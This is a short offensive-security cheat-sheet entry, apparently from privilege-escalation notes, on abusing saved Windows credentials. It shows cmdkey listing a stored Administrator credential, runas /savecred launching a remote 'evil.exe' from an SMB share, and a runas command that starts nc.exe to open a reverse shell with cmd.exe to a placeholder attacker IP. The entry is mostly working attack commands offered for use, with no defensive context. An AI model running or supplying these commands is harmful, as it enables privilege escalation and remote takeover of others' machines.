Runas

Use the cmdkey to list the stored credentials on the machine.

cmdkey /listCurrently stored credentials: Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator

Then you can use runas with the /savecred options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"runas /savecred /user:Administrator "cmd.exe /k whoami"

Using runas with a provided set of credential.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
